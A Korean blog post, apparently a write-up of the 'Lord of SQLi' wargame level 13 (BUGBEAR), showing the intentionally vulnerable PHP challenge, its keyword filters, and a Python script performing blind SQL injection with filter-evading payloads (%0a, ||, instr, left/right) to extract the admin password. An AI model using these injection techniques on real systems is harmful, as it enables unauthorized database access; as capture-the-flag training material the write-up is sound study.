본문 바로가기

wargame/LOS

[LOS]13번 BUGBEAR

BUGBEAR



13번 문제

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  // $_GET[no]에서 substr, ascii, =, or, and, 공백, like, 0x를 필터링

  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>



코드는 필터링된 부분만 빼고 지난 12번 문제와 동일하다.
하지만 =과 like를 동시에 필터링된 게 가장 큰 문제다. 저 HeHe가 가증스럽다....

우선 sql의 char함수를 통해서 like를 만들 수 있지 않을까 생각해서 시도했다.

실패. 정확히는 잘 모르겠지만 char 함수가 실행되지 않는 것으로 보인다.

인터넷에서 instr 함수를 찾아냈다. 문자열안에 원하는 문자열이 있는지 찾는 함수이다.
우선 한 번 instr함수를 실행해보았다.

성공! 이 함수를 이용해서 문제를 풀어보자.

instr함수를 이용하면 이전과 마찬가지로 guest의 no은 1이고, admin의 no는 2인 것을 알 수 있다.


admin의 pw의 길이는 8이다.

left함수를 이용해서 첫 번째 pw 길이는 7임을 알아냈다.

하지만 instr함수에 인수를 추가하면 참,거짓을 알아낼 수 없었다.

이는 pw의 문제만이 아니라 no도 똑같이 적용되었다.

한문자씩 알아내야하는데 instr만으로는 어려워졌다.

그래서 이전 문제에서 사용했던 left, right함수를 사용하기로 했다.
right(left(pw,1),1)을 하면 pw를 한 문자씩 찾아낼 수 있으므로 instr 함수대신 범위를 좁히도록 했다.

그렇게 해서 성공했다!

파이썬 코드를 작성했다

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 123) : # 아스키 코드의 범위
            query = "1%0a||%0ainstr(no,2)%0a%26%26%0ainstr(right(left(pw,"+str(i)+"),1),\""+chr(j)+"\")"
            params = {"no": unquote(query)}
            cookies = {"PHPSESSID" : "saiqui7aabmsjneit3qf5pvs25"}
            response = requests.get('https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                print(chr(j), end="")
                break


답을 찾았다

성공!


참고로 찾아보니 instr 함수 대신에 in을 쓰는 방법도 있었다.


참고
instr 함수

'wargame > LOS' 카테고리의 다른 글

[LOS]15번 ASSASSIN  (0) 2019.08.09
[LOS]14번 GIANT  (0) 2019.08.06
[LOS]12번 DARKNIGHT  (0) 2019.08.02
[LOS]11번 GOLEM  (0) 2019.07.24
[LOS]10번 SKELETON  (0) 2019.07.24